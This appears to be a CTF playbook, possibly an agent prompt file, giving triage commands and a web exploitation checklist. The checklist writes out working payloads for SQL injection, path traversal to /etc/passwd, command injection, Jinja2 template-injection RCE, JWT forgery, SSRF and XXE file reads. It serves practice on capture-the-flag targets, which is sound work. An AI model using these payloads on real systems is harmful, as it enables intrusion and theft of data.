ctf

CTF Challenge Playbook

Philosophy

CTF = time-limited puzzle solving. Speed + methodology beats random exploration. Always read challenge description twice - the hint is usually there. Try the obvious first: base64, ROT13, strings, default creds, common exploits. Never brute force blindly - enumerate first, understand the intended path.

Arguments

<challenge> - challenge name or description <category> - WEB / CRYPTO / PWN / RE / FORENSICS / OSINT / STEGO / MISC / FULL

---

Phase 1 - Triage & First Look (ALL Categories)

# Universal first steps for any CTF challenge:

# 1. Read everything in the challenge description
# Author usually hints at the vulnerability or technique needed

# 2. File identification
file challenge.*
xxd challenge | head -20      # hex dump first 20 lines
strings challenge | head -50   # printable strings
binwalk challenge             # embedded files/archives

# 3. grep for flag format immediately
strings challenge | grep -i "CTF{\|FLAG{\|HTB{\|picoCTF{\|flag{"
grep -r "CTF{\|FLAG{\|HTB{" ./ 2>/dev/null

# 4. Check for metadata
exiftool challenge.*
steghide info challenge.jpg 2>/dev/null

# 5. Common quick wins (try before deeper analysis):
base64 -d <<< "<suspected_b64>"
echo "<hex>" | xxd -r -p
echo "<rot13>" | tr 'A-Za-z' 'N-ZA-Mn-za-m'

---

Phase 2 - Web Exploitation (CTF Edition)

# Web CTF quick checklist:
# 1. View page source (Ctrl+U) - look for comments, hidden fields, flag in HTML
# 2. Check robots.txt, sitemap.xml, .git/ exposure
# 3. Check cookies (base64? JWT? pickle serialization?)
# 4. Check HTTP headers (X-Flag, X-Debug, etc.)

# CTF-specific web vulnerabilities:

## SQL Injection (single-quote test):
curl "https://<target>/login?user=admin'--&pass=x"
# Union-based (if error-based):
curl "https://<target>/search?q=1' UNION SELECT 1,2,3--"
# Blind (if no output):
curl "https://<target>/search?q=1' AND SLEEP(5)--"

## LFI/Path Traversal (extremely common in CTFs):
curl "https://<target>/page?file=../../../../etc/passwd"
curl "https://<target>/page?file=....//....//etc/passwd"
curl "https://<target>/page?file=php://filter/convert.base64-encode/resource=/etc/flag"
curl "https://<target>/page?file=php://filter/read=string.rot13/resource=/etc/flag"

## Command Injection:
curl "https://<target>/ping?host=127.0.0.1;cat /flag"
curl "https://<target>/exec?cmd=id"
curl "https://<target>/ping?host=127.0.0.1%60cat+/flag%60"

## SSTI (Server-Side Template Injection):
# Test: {{7*7}}, ${7*7}, #{7*7}, *{7*7}
curl "https://<target>/greet?name={{7*7}}"
# Jinja2 RCE: {{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

## JWT attacks (decode -> modify -> resign):
python3 -c "
import base64, json
tok = '<jwt>'
h = json.loads(base64.urlsafe_b64decode(tok.split('.')[0] + '=='))
p = json.loads(base64.urlsafe_b64decode(tok.split('.')[1] + '=='))
print('Header:', json.dumps(h, indent=2))
print('Payload:', json.dumps(p, indent=2))
"
# Try alg:none (remove signature), alg confusion (RS256->HS256)

## SSRF:
curl "https://<target>/fetch?url=http://localhost:8080/flag"
curl "https://<target>/fetch?url=file:///etc/flag"

## XXE (XML processing):
curl -X POST "https://<target>/parse" -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE x [<!ENTITY f SYSTEM "file:///flag">]><x>&f;</x>'